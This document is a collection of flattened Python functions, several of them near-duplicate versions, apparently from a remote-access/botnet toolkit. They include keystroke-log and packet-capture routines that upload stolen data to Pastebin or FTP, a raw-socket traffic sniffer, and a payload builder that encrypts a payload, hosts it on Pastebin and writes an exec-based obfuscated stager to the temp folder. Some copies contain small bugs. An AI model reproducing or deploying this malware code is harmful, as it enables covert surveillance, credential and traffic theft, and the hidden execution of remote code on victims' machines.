def logger(mode='ftp'): """ Upload the log to Pastebin or FTP server at a regular interval `Optional` :param str mode: ftp, pastebin """ try: while True: if globals()['_buffer'].tell() > max_bytes: global _buffer try: result = util.pastebin( _buffer) if 'ftp' not in mode else util.ftp(_buffer) results.append(result) _buffer.reset() except Exception as e: util.log("{} error: {}".format(logger.func_name, str(e))) elif globals()['_abort']: break else: time.sleep(5) except Exception as e: util.log("{} error: {}".format(logger.func_name, str(e)))
def run(mode, seconds=30): try: if mode not in ('pastebin', 'ftp'): return "Error: invalid upload mode '%s'" % str(mode) limit = time.time() + seconds sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) while time.time() < limit: try: recv_data = sniffer_socket.recv(2048) recv_data, ip_bool = packetsniffer_eth_header(recv_data) if ip_bool: recv_data, ip_proto = packetsniffer_ip_header(recv_data) if ip_proto == 6: recv_data = packetsniffer_tcp_header(recv_data) elif ip_proto == 17: recv_data = packetsniffer_udp_header(recv_data) except: break try: sniffer_socket.close() except: pass output = cStringIO.StringIO('\n'.join(_buffer)) results[time.ctime()] = util.pastebin( output) if 'ftp' not in mode else util.ftp(output, filetype='.pcap') except Exception as e: util.debug("{} error: {}".format(packetsniffer.func_name, str(e)))
def logger(*args, **kwargs): try: while True: if _buffer.tell() > max_bytes: try: result = util.pastebin( _buffer) if 'ftp' not in args else _Upload_ftp(_buffer) results.append(result) _buffer.reset() except Exception as e: util.debug("{} error: {}".format(logger.func_name, str(e))) elif _abort: break else: time.sleep(5) except Exception as e: util.debug("{} error: {}".format(logger.func_name, str(e)))
def auto(mode): """ Auto-upload to Pastebin or FTP server """ if mode not in ('ftp','pastebin'): return "Error: invalid mode '{}'".format(str(mode)) while True: try: if _buffer.tell() > max_size: result = util.pastebin(_buffer) if mode == 'pastebin' else _upload_ftp(_buffer, filetype='.txt') results.put(result) _buffer.reset() elif globals().get('_abort'): break else: time.sleep(5) except Exception as e: util.debug("{} error: {}".format(auto.func_name, str(e))) break
def auto(mode): """ Auto-upload to Pastebin or FTP server """ while True: try: if globals()['logs'].tell() > globals()['max_size']: result = util.pastebin( globals()['logs']) if mode == 'pastebin' else util.ftp( globals()['logs'], filetype='.txt') results.put(result) globals()['logs'].reset() elif globals()['abort']: break else: time.sleep(1) except Exception as e: util.log("{} error: {}".format(auto.__name__, str(e))) break
def auto(): """ Automatically log and upload keystrokes """ while True: try: if globals()['logs'].tell() > globals()['max_size']: result = util.pastebin( globals()['logs']) if mode == 'pastebin' else util.ftp( globals()['logs'], filetype='.txt') results.put(result) globals()['logs'].reset() elif globals()['abort']: break else: time.sleep(1) except Exception as e: util.log("{} error: {}".format(auto.func_name, str(e))) break
def run(mode, seconds=30): """ Monitor the host network and capture packets `Optional` :param int seconds: duration in seconds (default: 30) """ try: if mode not in ('pastebin', 'ftp'): return "Error: invalid upload mode '%s'" % str(mode) if not isinstance(seconds, int): return "Error: keyword argument 'seconds' must be an integer" sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) while time.clock() < seconds: try: recv_data = sniffer_socket.recv(2048) recv_data, ip_bool = packetsniffer_eth_header(recv_data) if ip_bool: recv_data, ip_proto = packetsniffer_ip_header(recv_data) if ip_proto == 6: recv_data = packetsniffer_tcp_header(recv_data) elif ip_proto == 17: recv_data = packetsniffer_udp_header(recv_data) except Exception as e: util.log(str(e)) break try: sniffer_socket.close() except: pass results[time.ctime()] = util.pastebin( globals()['log']) if 'ftp' not in mode else util.ftp( globals()['log'], filetype='.pcap') except Exception as e: util.log("{} error: {}".format(packetsniffer.func_name, str(e)))
def py(options, payload='payload.py', stager='stager.py'): try: with open(payload, 'r') as fp: payload = fp.read() with open(stager, 'r') as fp: stager = fp.read() stager = '\n'.join([ '#!/usr/bin/python', "from __future__ import print_function", stager, "if __name__=='__main__':", "\t{}=main(config={})".format( util.variable(1), json.dumps(dict(options._get_kwargs()))) ]) color = colorama.Fore.RESET name = 'byob_%s.py' % util.variable(3) path = os.path.join( os.path.expandvars('%TEMP%') if os.name is 'nt' else '/tmp', name) if options.name: name = options.name path = os.path.join( os.path.expandvars('%TEMP%') if os.name is 'nt' else '/tmp', name) if options.encrypt: key = os.urandom(16) print(colorama.Fore.RESET + colorama.Style.BRIGHT + "Encrypting payload ({:,} bytes)...\n".format(len(payload))) code = crypto.encrypt_xor(payload, key, block_size=8, key_size=16, num_rounds=32, padding='\x00') diff = round( float(100.0 * float(1.0 - float(len(code)) / float(len(payload))))) print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " + colorama.Fore.RESET + "Payload encryption complete") print( color + colorama.Style.DIM + " (Plaintext {:,} bytes {} to ciphertext {:,} bytes ({}% {})" .format(len(stager), 'increased' if diff else 'reduced', len(code), diff, 4), 'larger' if diff else 'smaller').ljust(80 - len("[+] ")) payload = code url = util.pastebin(payload) print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " + colorama.Fore.RESET + "Upload to Pastebin complete") print(color + colorama.Style.DIM + " ({:,} bytes uploaded to: {}".format(len( payload), url).ljust(80 - len("[+] "))) if options.obfuscate: code = "import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b64decode({}))))".format( repr( base64.b64encode( zlib.compress( marshal.dumps(compile(stager, '', 'exec')), 9)))) diff = round( float(100.0 * float(1.0 - float(len(code)) / float(len(stager))))) print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " + colorama.Fore.RESET + "Stager obfuscation and minification complete") print(color + colorama.Style.DIM + " ({:,} bytes {} to {:,} bytes ({}% {})".format( len(stager), 'increased' if diff else 'reduced', len( code), diff, 'larger' if diff else 'smaller').ljust( 80 - len("[+] "))) stager = code with file(path, 'w') as fp: fp.write(stager) print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " + colorama.Fore.RESET + "Client stager generation complete") print(color + colorama.Style.DIM + " ({:,} bytes written to file: {})".format(len( stager), path).ljust(80 - len("[+] "))) if options.type == 'exe': path = exe(options) return path except Exception as e: raise ClientError(str(e))